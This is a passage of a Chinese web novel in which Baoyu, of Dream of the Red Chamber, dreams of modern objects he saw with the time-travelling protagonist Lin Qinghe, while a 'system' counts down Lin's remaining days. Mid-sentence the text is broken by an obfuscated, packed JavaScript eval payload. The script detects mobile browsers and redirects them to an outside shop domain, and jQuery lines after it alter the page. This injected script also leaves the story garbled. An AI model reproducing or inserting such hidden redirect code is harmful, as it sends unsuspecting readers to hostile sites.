第二十天宝玉开始做梦。
起初只是偶尔提一句，说昨夜梦见了怪东西，醒來就记不清了。
林倾和听着没太在意，以为是少年人睡觉不老实，梦多也正常。
可到了第二十二天，宝玉一大早跑来找他，连幞头都没戴正，头发散着，脸色比平时白了些，进門就拽住林倾和的袖子，手指有点凉。
“林兄，我昨儿又做梦了。这回我记得清楚。”
林倾和给他倒了杯热茶，让他坐下慢慢说。宝玉接过茶没喝，两只手捧着杯子，像是要从茶盏上借点暖意。
他低着头看着杯中浮起的白气，眉心拧出一道浅浅的竖纹。
“我梦见一个方匣子，里头有人在动，还有声音。那人穿得怪模怪样，跟我说话，我听得见但听不懂。
后来方匣子灭了，我又梦见一个铁屋子，自己会跑，里面坐着好些人。还有个东西，圆圆的，会发光，按一下就有火，用来烧水。”
他抬起眼看林倾和，黑眼珠里映着茶汤上那缕白气：“林兄，你说这些是什么？我从前从没做过这样的梦。”
林倾和端着杯子的手停在半空。系统面板在角落里弹出一行蓝字：“目标人物记忆残留清除不完全。因与宿主长期接触，深层记忆产生粘附。建议宿主避免继续加深关联，否则世界意识修正将提前触发。”
他放下杯子，尽量让声音听起来平常：“梦罢了。许是你白日里听了什么古怪故事，夜里就做怪梦。”
“不是故事。”宝玉摇头，语气很笃定，“我醒来后心里发慌，总觉得那些东西是真的。那个会发光的方匣子，我好像摸过。凉的，滑的，上面能装人影。”
林倾和心里沉了一下。他想起那晚在現代客厅里，宝玉捧着手机拍照，年年趴在他膝盖上，屏幕上全是猫爪印。
那些画面清晰得像昨天的事，可对面这个少年已经忘了。又好像没全忘。
“宝玉，”他斟酌着开口，“梦就是梦，醒了就放下。想多了头疼。”
宝玉盯着他看了一会儿，目光里有种说不清的执拗，像是想从他脸上找出什么答案。林倾和被他看得心里发虚，低头喝了口茶，避开他的视线。
窗外竹叶沙沙响了一阵，阳光从叶缝里漏进来，在桌面上晃了晃。宝玉终于收回目光，把茶喝了，放下杯子站起来，嘴角扯出一个笑来。
“行，不想了。林兄你陪我出去走走，散散就好了。”
林倾和答应着站起来，把桌上的书合上。出门的时候宝玉走在前面，步子没有平时那么轻快，肩膀微微往里收着，像是还揣着那个梦没完全放下。
林倾和跟在后头看着他的背影，心里堵了一团。系统说得对，他不能再跟宝玉走得太近了。
可他怎么远得了？宝玉每天早上来，晚上走，一天里大半个白日都跟他待在一起。他总不能把人往外推。
走到园子门口的时候，宝玉忽然停了步，回头看他，眼神里那层困惑淡了些，多了点不好意思：“林兄，我方才是不是吓着你了？一个梦罢了，我还那么认真。”
“没吓着。”
“那你怎么从方才起就不大说话？”
林倾和想了想，说：“我在想你说的那个方匣子。我小时候也做过类似的梦，梦见一个铁盒子会说话。醒了跟我娘说，我娘说我胡扯。”
宝玉看着他，目光慢慢亮起来，嘴角那点笑也真了些：“林兄也做过？那你信我？”
“信。”
宝玉呼出一口气，肩膀彻底松下来，转身继续往前走，步子恢复了平日的样子，两臂甩开，晃晃荡荡的。他走了一段，忽然侧过头来冲林倾和笑了一下，露出两颗小虎牙：“林兄你小时候做什么梦，跟我说说。”
林倾和编了几个小时候的梦给他听，什么梦见会飞的鱼，会说话的树，宝玉听得津津有味，时不时插嘴问“那鱼飞多高”“树都说什么了”。
两人说着话走过了沁芳桥，又走过了藕香榭，不知不觉绕了大半个园子。
宝玉的梦这个话题就这么岔过去了，但林倾和心里清楚，这不会是一次性的。
系统面板上那行蓝字还没完全消失，只剩最后几个字悬在视野角落：“建议宿主减少关联。”
晚上回到外书房，林倾和把背包里的逗猫棒拿出来看了看。
铃铛在烛光里闪了一下。他攥着竹竿，拇指蹭过那块磨亮的竹皮，心里翻来覆去想着宝玉白天说的那些话。方匣子，铁屋子，会发光的东西。那些画面在宝玉脑子里还剩多少？
世界意识在清除记忆，但清除得不够干净，像用橡皮擦铅笔字，擦得再用力，纸面上总留着浅浅的印子。
他忽然有点后悔。
那天晚上不该教宝玉用手机拍照的，不该让他跟年年玩那么久，不该两个人坐在一起吃外卖。
那些事做的时候只觉得开心，现在想起来都变成了钉子，一颗一颗钉在宝玉的记忆里，世界意识拔不干净。
可后悔归后悔。他低头看着手里的逗猫棒，铃铛又响了一声。
宝玉那天蹲在地上逗年年，年年蹦起来够羽毛，铃铛叮叮当当响个不停，宝玉笑得整个人往后仰。
那画面太清楚了，清楚得他舍不得说后悔。
第二十三天，宝玉又来了。这回他没提梦的事，但带来了一幅画。
画在宣纸上，墨色新鲜，边角还带着潮气。他把画往桌上一铺，指着上面说：“林兄你瞧，这是我梦里见的那个铁屋子，我画出来了。”
林倾和低头看。纸上画着一个方方正正的框子，下面有四个圆圈，里面隐约坐着两个小人。
画得稚拙，比例也不对，但那框子的形状，那四个轮子的位置，分明是一辆汽车。旁边还画了个方匣子，匣面上画了个火柴人，方匣子顶上伸出一根线，线头连着一个长方块，那是他家的电视和机顶盒。
林倾和看着这幅画，后脊梁一阵发凉。系统面板猛地亮起来，红字闪烁：“警告：目标人物记忆残留严重，世界意识修正机制已触发。宿主需在七日内完成体验并离开，否则目标人物将出现认知紊乱。”
七天。体验剩余：7天3小时。原本还有将近半个月，一下子砍了一半多。
林倾和攥着画纸边缘的手指收紧了，指节泛白。
宝玉还在旁边兴致勃勃地指着画上的东西问：“林兄，你说这铁屋子到底是什么？为什么我总觉得我坐过？还有这方匣子，我看见它就觉得心里发慌，好像里头有人叫我的名字。”
“宝玉。”林倾和抬起头看他，声音尽量稳，“这画你别给别人看。”
“为什么？”
“别人看不懂，会当你胡言乱语。老爷知道了又要罚你。”
宝玉的表情变了变，把画从桌上拿起来卷好，抿着嘴点了点头：“那我收着，只给你看。”
林倾和看着他卷画的动作，心里那团堵着的东西更沉了。七天。他得在七天里离开，还得让宝玉把那些残留的记忆压下去，不能让别人发现异样。可他能做什么？世界意识已经在修正了，他一个外来的宿主，什么都挡不住。
那天晚上宝玉走的时候，在院门口回头看了他一眼，月光照着他的侧脸，干净得像一张宣纸。
他张了张嘴，好像想说什么，最后只是摆了摆手，说了句“林兄明儿见”，就走了。
林倾和站在门口看着他的背影拐过墙角，月光把那个影子拉得长长的，在石板路上越来越
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17959328|214301||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
淡，最后被门框切断了。
他关上门，背靠着门板慢慢滑下去，坐在地上。系统面板亮着红字，倒计时在跳。
他把脸埋进膝盖里，脑子里是宝玉方才卷画时抿着嘴的样子，睫毛垂着，手指把纸边捋得整整齐齐。
那个梦里的现代世界，那些被世界意识一点点擦去的记忆，那些他舍不得说后悔的下午。
他在地上坐了很久，直到烛火烧到底，噗地灭了。
第二十五天，府里开始备中秋。
从早上起，各处院子就忙得脚不沾地。
厨房里飘出各种味道，蒸月饼的甜香混着炖肉的酱香，隔着两道墙都闻得到。
丫鬟媳妇们端着盘子匣子满府里跑，衣料首饰、瓜果点心、供月的香烛纸马，一样一样往各房里送。
宁荣街上也热闹起来，外头铺子门口摆出摊子卖兔儿爷和桂花酒，吆喝声从早到晚没断过。
林倾和的外书房也收到了一份节礼。
一匣子月饼，两壶桂花酒，一篓子螃蟹，还有一匹青绸料子，说是老太太吩咐给林公子添件秋衣的。
送东西来的媳妇笑盈盈地交代了，又笑盈盈地走了。
林倾和看着桌上那堆东西，月饼印着吉祥花纹，螃蟹用草绳扎着腿在篓子里吐泡泡，桂花酒壶上贴着红纸封，每一样都妥帖周到。
他忽然想起现代的中秋节，超市里买盒装月饼，回来拆开吃一块就搁下了，年年蹲在旁边闻一闻就走。
那日子过得潦草，跟眼前这份郑重差了十万八千里。
傍晚宝玉来了，一进门看见桌上的东西就笑：“老太太给你送的吧？我就说她记着你呢。林兄你面子大，我们府里外客能得老太太中秋节礼的可不多。”
“托你的福。”
“不是托我的福，是你自己讨人喜欢。”宝玉往桌边一坐，自己动手拆了个月饼，掰成两半，一半塞进嘴里，一半递给林倾和，“你尝尝，这是我们府里自己做的，比外头买的强。”
林倾和接过半块月饼咬了一口，是枣泥馅的，甜得正好，混着核桃碎和瓜子仁，口感绵密。
宝玉吃得腮帮子鼓鼓的，含含糊糊地说：“中秋那日更热闹，晚上有拜月，园子里还要摆宴，去年我们还在凸碧堂联了诗。今年老太太说还在凸碧堂，到时候林兄你也来。”
“外客能进园子？”
“怎么不能，中秋是团圆节，老太太说了，不拘内外，在府里的都算一家人。”宝玉把剩下的月饼塞进嘴里，拍了拍手上的渣，站起来走到窗前，推开窗扇往外看。暮色正从园子那头漫过来，天边剩最后一抹橘红，映在凸碧堂的琉璃瓦上，亮闪闪的。
“林兄，”他忽然说，声音比方才低了些，“你过了中秋再走吧？”
林倾和站在他旁边，也望着窗外。园子里的桂花香从远处飘过来，混着傍晚的凉风，甜得发沉。
他张了张嘴，想说“好”，但系统面板在角落里无声地亮着，倒计时在跳，剩下的天数已经不到五天了。他咽下那个“好”字，说了句别的：“中秋那天我陪你。”
宝玉侧头看他，目光在他脸上停了停。他没追问“过了中秋再走”的事，只是点了点头，转回去看窗外。
暮色越来越深，凸碧堂的灯亮了起来，暖黄的光晕从窗格里透出来，在树梢上镀了一层金边。
中秋那天早上，林倾和把贴身的银袋取出来数了一遍。
三百四十两，这些天花了一小半，还剩两百多两。他留出三十两备用，剩下的装回袋子里系好。
背包里的东西也清了一遍，衣裳叠好，书放齐，逗猫棒收在侧袋里。
他做这些事的时候动作很慢，像是在故意拖延时间。